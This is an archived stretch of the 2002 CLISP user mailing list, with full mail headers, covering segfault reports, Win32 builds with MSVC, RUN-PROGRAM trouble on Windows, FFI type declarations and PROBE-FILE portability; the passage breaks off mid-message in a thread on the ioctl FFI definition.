[clisp-list] aborting MAKE-ARRAY leaves CLISP in an unstable state?" > * Sent on Sun, 3 Mar 2002 23:32:50 -0500 (EST) > * Honorable Carl Shapiro writes: > > please try > (make-list 10000000) > ^C > do you get the same? and? > could you play with the various *PRINT-* vars to determine what makes > this happen? > > If I break in the printer with *PRINT-LENGTH* set to NIL I can > reliably cause a segmentation fault on the first try. I was also interested in *print-pretty*. So, what is the combination of vars that gets the crash the earliest? > Sometime today I realized that I had never manually invoked the CLISP > collector and so I gave it a try, and then did it a second time hoping > to get a hint as to what the return value signifies. impnotes.html is your friend... > I can get a core file, but my clisp isn't compiled with symbols so gdb > isn't very revealing. I'll try recompiling with symbols tomorrow and > giving this another try. I do not observe this in the current CVS, and my hardware is totally inadequate for intensive configure/build/test cycles, so I would appreciate it if you could try to use binary search to find out _when_ the bug was introduced. use CVS - get the earliest revision, check whether the crash is there, if not - try a revision midway between then and now... good luck... -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Please wait, MS Windows are preparing the blue screen of death. From rrschulz@cris.com Mon Mar 04 13:38:34 2002 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16i0A9-0001no-00 for ; Mon, 04 Mar 2002 13:38:29 -0800 Received: from newman.concentric.net (newman.concentric.net [207.155.198.71]) by darius.concentric.net [Concentric SMTP Routing 1.0] id g24LcHP28746 ; Mon, 4 Mar 2002 16:38:18 -0500 (EST) Received: from Clemens.cris.com (da003d0328.sjc-ca.osd.concentric.net [64.1.1.73]) by newman.concentric.net (8.9.1a) id QAA17656; Mon, 4 Mar 2002 16:38:15 -0500 (EST) Message-Id: <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: sds@gnu.org, clisp-list@lists.sourceforge.net From: Randall R Schulz In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Re: [clisp-announce] GNU CLISP 2.28 release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 13:39:02 2002 X-Original-Date: Mon, 04 Mar 2002 13:38:37 -0800 Sam, Is there a timetable on availability of a pre-built Win32 binary for 2.28? Also, this URL: is incorrect. I believe it should be one of the following, all apparently equivalent owing to the use of symlinks on : Randall Schulz Mountain View, CA USA At 08:42 2002-03-04, you wrote: >The following message is a courtesy copy of an article >that has been posted to comp.os.linux.announce as well. > >GNU CLISP 2.28 is now available at > > > > > > >please ask questions about CLISP on . >if you would like to contribute to CLISP development, please subscribe >to and send patches there. > >... > > >-- >Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux From lin8080@freenet.de Mon Mar 04 13:46:40 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16i0I2-0003UT-00 for ; Mon, 04 Mar 2002 13:46:38 -0800 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #3) id 16i0Hz-0007HJ-00 for clisp-list@lists.sourceforge.net; Mon, 04 Mar 2002 22:46:35 +0100 Received: from a8ac7.pppool.de ([213.6.138.199] helo=freenet.de) by mx2.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #3) id 16i0Hy-0001DZ-00 for clisp-list@lists.sourceforge.net; Mon, 04 Mar 2002 22:46:35 +0100 Message-ID: <3C83EAE5.35C4ABB4@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de]C-freenet 4.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 CC: "clisp-list@lists.sourceforge.net" Subject: [clisp-list] Q: problem with RUN-PROGRAM and EXECUTE in Win32 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 13:47:05 2002 X-Original-Date: Mon, 04 Mar 2002 22:45:09 +0100 > Matise@Biology.Rutgers.Edu schrieb: > Well, I think I have really tried everything now, but I am not getting > the same results as others who have tried to help me. > lisp-implementation-type) returns: ^^^^ = version > "2.27 (released 2001-07-17) (built 3204312676) (memory 3223661245)" > Also,EXECUTE does not work properly for me, so at this point I am > unable to continue trying to port a UNIX-based CLISP program to > Windows. > Any additional insight on what might be my problem would be greatly > appreciated. My paths are set properly, but RUN-PROGRAM won't run any > executable, regardless of whether it is in my path or whether I am in > the directory where the exe is located. Hallo win98 autoexec.bat (part) PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\CLISP; (lisp-implementation-type) returns: "CLISP" lisp-implementation-version) returns: "2000-03-06 (March 2000)" or (lisp-implementation-version) returns: "2.27 (released 2001-07-17) (built 3204291076) (memory 3602426290)" (run-program "dir" :indirectp :output) shows a dos-like dir (execute "editor.exe") opens the editor. What goes wrong on your windows? Is it possible a windows error? stefan why does (clisp) not return "hallo" ? From samuel.steingold@verizon.net Mon Mar 04 14:24:11 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16i0sM-0008KF-00 for ; Mon, 04 Mar 2002 14:24:10 -0800 Received: from gnu.org ([151.203.224.254]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020304222407.JPTJ23533.out009.verizon.net@gnu.org>; Mon, 4 Mar 2002 16:24:07 -0600 To: Randall R Schulz Cc: clisp-list@lists.sourceforge.net References: <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: [clisp-announce] GNU CLISP 2.28 release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 14:25:02 2002 X-Original-Date: 04 Mar 2002 17:19:25 -0500 > * In message <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> > * On the subject of "Re: [clisp-announce] GNU CLISP 2.28 release" > * Sent on Mon, 04 Mar 2002 13:38:37 -0800 > * Honorable Randall R Schulz writes: > > Is there a timetable on availability of a pre-built Win32 binary for 2.28? I have no access to win32. I asked Arseny Slobodjuck and Todd Sabin to build a win32 distribution. Unfortunately, I made a strategic mistake of letting each of them know that I asked _both_, so, I guess, both of them are waiting for the other to do it. :-) Okay, in alphabetical order: (random t) 131100680 (aref ["Todd Sabin" "Arseny Slobodjuck"] (random 2)) "Arseny Slobodjuck" Arseny, please create a win32 distribution. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Why use Windows, when there are Doors? From rrschulz@cris.com Mon Mar 04 14:33:06 2002 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16i10y-00014I-00 for ; Mon, 04 Mar 2002 14:33:04 -0800 Received: from newman.concentric.net (newman.concentric.net [207.155.198.71]) by darius.concentric.net [Concentric SMTP Routing 1.0] id g24MWsP06832 ; Mon, 4 Mar 2002 17:32:54 -0500 (EST) Received: from Clemens.cris.com (da003d0328.sjc-ca.osd.concentric.net [64.1.1.73]) by newman.concentric.net (8.9.1a) id RAA14684; Mon, 4 Mar 2002 17:32:52 -0500 (EST) Message-Id: <5.1.0.14.2.20020304142942.0240a310@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: sds@gnu.org, clisp-list@lists.sourceforge.net From: Randall R Schulz In-Reply-To: References: <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Building CLISP for Windwos Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 14:34:02 2002 X-Original-Date: Mon, 04 Mar 2002 14:33:14 -0800 Sam, I suppose I should educate myself, but if you or someone would indulge a quick and trivial question, what compiler is used to produce the Win32 binaries? MSVC, or something else? Thank you. Randall Schulz Mountain View, CA USA From samuel.steingold@verizon.net Mon Mar 04 16:17:37 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16i2e8-0001rs-00 for ; Mon, 04 Mar 2002 16:17:36 -0800 Received: from gnu.org ([151.203.224.254]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020305001734.ERC25425.out018.verizon.net@gnu.org>; Mon, 4 Mar 2002 18:17:34 -0600 To: Randall R Schulz Cc: clisp-list@lists.sourceforge.net References: <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> <5.1.0.14.2.20020304142942.0240a310@pop3.cris.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.2.20020304142942.0240a310@pop3.cris.com> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Building CLISP for Windwos Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 16:18:06 2002 X-Original-Date: 04 Mar 2002 19:12:51 -0500 > * In message <5.1.0.14.2.20020304142942.0240a310@pop3.cris.com> > * On the subject of "Building CLISP for Windwos" > * Sent on Mon, 04 Mar 2002 14:33:14 -0800 > * Honorable Randall R Schulz writes: > > I suppose I should educate myself, but if you or someone would indulge > a quick and trivial question, what compiler is used to produce the > Win32 binaries? MSVC, or something else? see CLISP/win32*/ I used msvc6 with CLISP/win32msvc/makefile.msvc5 and followed the instructions in CLISP/win32msvc/INSTALL everything worked just dandy. win32gcc (not cygwin, but mingw) did not work for me. YMMV. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! When we write programs that "learn", it turns out we do and they don't. From ampy@ich.dvo.ru Mon Mar 04 16:23:22 2002 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16i2jR-00037l-00 for ; Mon, 04 Mar 2002 16:23:06 -0800 Received: from KAVUN (kavun.ich.dvo.ru [192.168.81.32]) by chemi.ich.dvo.ru (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id g250M3t14382; Tue, 5 Mar 2002 10:22:13 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <895604849.20020305102312@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: [clisp-announce] GNU CLISP 2.28 release In-reply-To: References: <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 16:24:02 2002 X-Original-Date: Tue, 5 Mar 2002 10:23:12 +1000 Hello Sam, Tuesday, March 05, 2002, 8:19:25 AM, you wrote: Sam> Arseny, please create a win32 distribution. You didn't asked to upload it ! I started this day from formatting C: instead of D:, so I should recover a bit... Formatting is not my mistake - it's some strange windows behavior - it formatted both volumes ! Actually I have nonusual partition configuration, but it had to warn me ... I hope I can upload a new version in 12 - 24 hours, just say where to put it. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From dan.stanger@ieee.org Mon Mar 04 17:13:55 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16i3Wc-00056C-00 for ; Mon, 04 Mar 2002 17:13:54 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 16i3Wa-0007zd-00 for clisp-list@lists.sourceforge.net; Mon, 04 Mar 2002 18:13:53 -0700 Message-ID: <3C841C0A.CD52099@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: multipart/mixed; boundary="------------227810EF6A386E6E59B70288" Subject: [clisp-list] new-clx, 2.28 on solaris Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 17:15:20 2002 X-Original-Date: Mon, 04 Mar 2002 18:14:50 -0700 This is a multi-part message in MIME format. --------------227810EF6A386E6E59B70288 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I had some problems compiling new-clx on solaris. Attached is a gzip'd diff file with the changes I made, to correct the problems I had. Dan Stanger dan.stanger@ieee.org --------------227810EF6A386E6E59B70288 Content-Type: application/x-gzip; name="ddd.gz" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="ddd.gz" H4sICA4bhDwCA2RkZADNWN+PozYQft+/wn1LTqFJIL/gpFs54CTWgqHY3Cb3EqnbXLXq3d5q d6u2qvq/d2wgQCBgTqrUPCRmmM8ej2e+8cSeTWYjezZZPtz8cvr8+xPa+3Tt3AfGpzAMjB1l gqPBdIj+TphHNpQR7/0/ZU1OhMEFZh6OPSOKw4jEghKJGaHJCL2cXt9G6Onbb6e/1DOj/vW5 tuW53NAP4wBHaGBqrl4gFheIH29sy16M4Ku6TTcRxjrZbEic2/v0LbVY2bsYoYGTvXfEISLI iQlPfGGkDyLGjG9gTeSAEbFADmHe8Lq1cSiwIEaxauoms8FaS1q7mlSspW7IDE4/ke4TgfNz fcxB0epULB/aRO/QxmOf8miTMIQGf355/Pn4eno7/vH1+Pzy7fn08vZ4eh2h8vmriSzlToYD 8JzaSjoEj4ZJ7JLLx9R+xw2DAM4XBj4lTBgBdiEoQTENTYfJI/ezQHVKQesknMQGj4hLN5RA bIacCgrLRrVX0qdSDJ7Yxji4Aqq/zXF75ByQc089sQO7CN3uIBQCyoxMJIdnMd6fxTDMxUpk UObmE6RjicRywQyZj9eYk3waNS7mYQZY+ZEKsIiyKBHyB/YAPuIy+jLfR3QvMyV9AJAX3mcP ++z3kP0GmN+peUEFpg6TaDgsR1GA74gMo4wqJvU0suW5/0e2IGfj4y1vSbrcPnVY142cKiv7 x8z/9ey/L5aH7eRc0EoL/yhWVLkK1NiqqaarZHWXdsbwWZTwbv2UPDrUuqtcrmSoaNNTLSJW Xz1LBX1Ali76gH0P3YOmbiWnNSGSDbRUNb1RIYUORFF9OhQrxaVDF1JKhBCgnYp5hQNFs85D lqShOwIZLAgX6TfYIYatcxbkZpQpocOSS1RKKvqg3quU6E0fVOK+fqDe5hX83ANTsHQ/UH/r zkVFHxP10L1e+757jqxI6uP77q8onX0wRZnUR+176LbPG2/X50LGW7sbyUCNLKU6hAl0CNb0 oeFGr8Ew9zGV9y9tjmGhIbsELCOi2R7TAnvMan+VMLgMwF3eg27Bx+1u4QnEDfNyXUMiKdu2 uxK6sYD0gvAdVAllVWPLZ0rn+IRt5e1K6QKvgyfbbpgde5TOmZrgnKldcQ6QPD9AMZKXhEhm SUurlunC+bZuzt1hsEVADn5IEWmDqYXQsgOEWPa/mT3qquerqt8OAmGGaQzJufJ6eE9iF+pQ 1lireZ0g9CSXQKvspLf/zM9DzfVSn1lt/UEUQdDI+KcbOL5Zw/HJv0isyeKh2syHopxpDcE0 k9vysMBrtat+Vf3cCOcTGIIGAMNB1JUTKU4u1xSMpi0zdVJlDo9wN6ZrYpA4lrd2s829uepH uLqDb1sD7Kwdk8g/6E0ck58S6SYt5SKXW6xQpho76AV80r472eaQPSQEg4tfCnNDj7RiVItZ WaK5x1Tkkv51lCVSaxTLdWHxuDiU+h7lea5WDzcIFdL3SmoB29RUZb24EK6Wqybh0m4SLuvC xXLycDMeoypbKds/nNlFRUmjO84s6JE9qjwZm4S5st4Ma3teLRaL6p6lcL6YNAjni7rN87lZ F87mdT8s5w3CmT2d14WrmVzoprS6Ei9tZdTjZzT44fXx6/OX0/H17eXx6dfj8wCS2b07zuX+ kKSfIPJJAFEEYCTB5nKqtgmfi9XM+cy68mZmXxiHxu/Q7e0tejdOX1str/8FZHA1Vg4WAAA= --------------227810EF6A386E6E59B70288-- From ipmonger@delamancha.org Tue Mar 05 01:32:55 2002 Received: from validus.delamancha.org ([216.7.21.39]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iBJW-0005Xx-00 for ; Tue, 05 Mar 2002 01:32:54 -0800 Received: (from ipmonger@localhost) by validus.delamancha.org (8.11.6/8.11.6) id g259WqS09270; Tue, 5 Mar 2002 04:32:52 -0500 X-Authentication-Warning: validus.delamancha.org: ipmonger set sender to ipmonger@delamancha.org using -f To: clisp-list@lists.sourceforge.net From: IPmonger Message-ID: Lines: 45 User-Agent: Gnus/5.090006 (Oort Gnus v0.06) XEmacs/21.5 (bamboo, i686-pc-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 01:33:02 2002 X-Original-Date: Tue, 05 Mar 2002 04:32:52 -0500 Folks, I just did a CVS update to the latest release (2.28) on my RedHat 7.2 machine (running Kernel 2.4.9-21): % cvs -z3 -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp co -r clisp_2_28-2002-03-03 clisp and used the following configuration steps: % cd clisp % ./configure --with-readline --with-nogettext --with-dynamic-ffi \ --with-dynamic-modules --with-export-syscalls --with-module=wildcard \ --with-module=regexp --with-module=bindings/linuxlibc6 \ --with-module=clx/new-clx --build build lisp.run builds ok, then loads all the modules to dump interpreted.mem: ./lisp.run -B . -Efile UTF-8 -norc -m 750KW \ -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" next, using the interpreted.mem image, we compile "compiler.lisp": ./lisp.run -B . -Efile UTF-8 -norc -m 1000KW -M interpreted.mem -q -c compiler.lisp which works fine, so we try to load the images with only 750KW and no specified image: ./lisp.run -B . -Efile UTF-8 -norc -m 750KW \ -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" but this bombs with a segfault: ;; Loading file /usr/local/src/clisp/build/deprecated.lisp ... ;; Loading of file /usr/local/src/clisp/build/deprecated.lisp is finished. *** - handle_fault error2 ! address = 0x203C5000 not in [0x202BD000,0x203866E4) ! SIGSEGV cannot be cured. Fault address = 0x203C5000. make: *** [halfcompiled.mem] Segmentation fault Can someone suggest something to try? -IPmonger -- ------------------ IPmonger ipmonger@delamancha.org CCIE #8338 From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 05 05:39:09 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iF9m-0002Wp-00 for ; Tue, 05 Mar 2002 05:39:07 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 5 Mar 2002 14:33:24 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 5 Mar 2002 14:34:54 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] ffi:c-pointer -> why char* instead of void*? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 05:40:03 2002 X-Original-Date: Tue, 5 Mar 2002 14:34:50 +0100 Hi, The following (ffi:def-c-var compress-indirect (:type ffi:c-pointer) (:name "clisp_ffi_indirector")) generates extern char* clisp_ffi_indirector; Impnotes.html states: c-pointer=20 This type corresponds to what C calls void*, an opaque pointer. However foreign1.lisp implements (in to-c-typedecl): ((c-pointer c-string) (format nil "char* ~A" name)) Is there a reason for this deviation? Otherwise I'd prefer the documentation to be followed and not have to = second-guess the implementation. I.e. I'd like to see as output from = COMPILE-FILE: extern void*. This would allow consistency with declarations made via = FFI:C-LINES. I'd call the current behaviour a bug since I obtain a C compiler error: > gcc -O2 -W -Wall ffi.c ffi.c:3: conflicting types for `clisp_ffi_indirector' ffi.c:2: previous declaration of `clisp_ffi_indirector' Is there something weird about avoiding using void* that I missed? Is that something left from the pre ANSI-C history of CLISP? My scenario is as follows: (ffi:def-c-var compress-indirect (:type ffi:c-pointer) (:name "clisp_ffi_indirector")) ;; Now define the variable (instead of "extern" reference) (ffi:c-lines "~&void *clisp_ffi_indirector =3D NULL;~%") is what I would expect to work from the documentation. Thanks for your help, J=F6rg H=F6hle. From davep@davep.org Tue Mar 05 09:30:15 2002 Received: from anchor-post-34.mail.demon.net ([194.217.242.92]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iIlS-00043z-00 for ; Tue, 05 Mar 2002 09:30:14 -0800 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-34.mail.demon.net with esmtp (Exim 3.35 #1) id 16iIlP-0008eO-0Y for clisp-list@lists.sourceforge.net; Tue, 05 Mar 2002 17:30:12 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id RAA28675 for clisp-list@lists.sourceforge.net; Tue, 5 Mar 2002 17:20:43 GMT From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] probe-file bug Message-ID: <20020305172043.A26907@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20020215191211.A225@localhost.localdomain> <20020223175001.A7074@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020223175001.A7074@localhost.localdomain>; from peter.wood@worldonline.dk on Sat, Feb 23, 2002 at 05:50:01PM +0100 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Prickle-Prickle, Day 64 of the season of Chaos, Anno Mung 3168 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 09:31:03 2002 X-Original-Date: Tue, 5 Mar 2002 17:20:43 +0000 On Sat, Feb 23, 2002 at 05:50:01PM +0100, Peter Wood wrote: > I have to jump through rings to get something like it to work on Clisp, > and chuck portability out the window. [SNIP] How is ,---- | (probe-file | (merge-pathnames | (user-homedir-pathname) | (make-pathname :name ".inputrc"))) `---- not portable? -- Dave Pearson http://www.davep.org/ From peter.wood@worldonline.dk Tue Mar 05 11:30:44 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iKe1-0000iz-00 for ; Tue, 05 Mar 2002 11:30:42 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 2EC7FB55C for ; Tue, 5 Mar 2002 20:30:38 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g25JIYo09503; Tue, 5 Mar 2002 20:18:34 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] probe-file bug Message-ID: <20020305201833.A9478@localhost.localdomain> References: <20020215191211.A225@localhost.localdomain> <20020223175001.A7074@localhost.localdomain> <20020305172043.A26907@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020305172043.A26907@hagbard.davep.org>; from davep@davep.org on Tue, Mar 05, 2002 at 05:20:43PM +0000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 11:31:12 2002 X-Original-Date: Tue, 5 Mar 2002 20:18:33 +0100 On Tue, Mar 05, 2002 at 05:20:43PM +0000, Dave Pearson wrote: > On Sat, Feb 23, 2002 at 05:50:01PM +0100, Peter Wood wrote: > > > I have to jump through rings to get something like it to work on Clisp, > > and chuck portability out the window. [SNIP] > > How is > > ,---- > | (probe-file > | (merge-pathnames > | (user-homedir-pathname) > | (make-pathname :name ".inputrc"))) > `---- > > not portable? Hi, Dave Here's the bit you censored out: "On all the mentioned implementations (probe-file X) where X can be a string naming a directory or file, with or without a trailing slash in the case of a directory, works just fine as a test for the existence of X, and where the return value can be used sensibly. I have to jump through rings to get something like it to work on Clisp, and chuck portability out the window." If you reread that, I think you'll agree that your code doesn't apply to what I'm talking about. Here is the challenge: Write a few lines of portable Common Lisp code which will accept a string and test wether it names an existing file or directory, and return a useable pathname if it does. On all the other implementations (probe-file X) does it. Regards, Peter From peter.wood@worldonline.dk Tue Mar 05 11:38:08 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iKlB-00020Q-00 for ; Tue, 05 Mar 2002 11:38:05 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 32531B6A2 for ; Tue, 5 Mar 2002 20:38:02 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g25JQ3j09522; Tue, 5 Mar 2002 20:26:03 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020305202603.B9478@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] linux:ioctl Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 5 11:39:06 2002 X-Original-Date: Tue, 5 Mar 2002 20:26:03 +0100 Hi, The ffi definition for ioctl in linux.lisp is this: (def-c-call-out ioctl (:arguments (fd int) (request int) (arg c-pointer)) (:return-type int)) Which I think is wrong. Since ioctl can either take 2 or 3 args, and in the case of 2 args, you need some 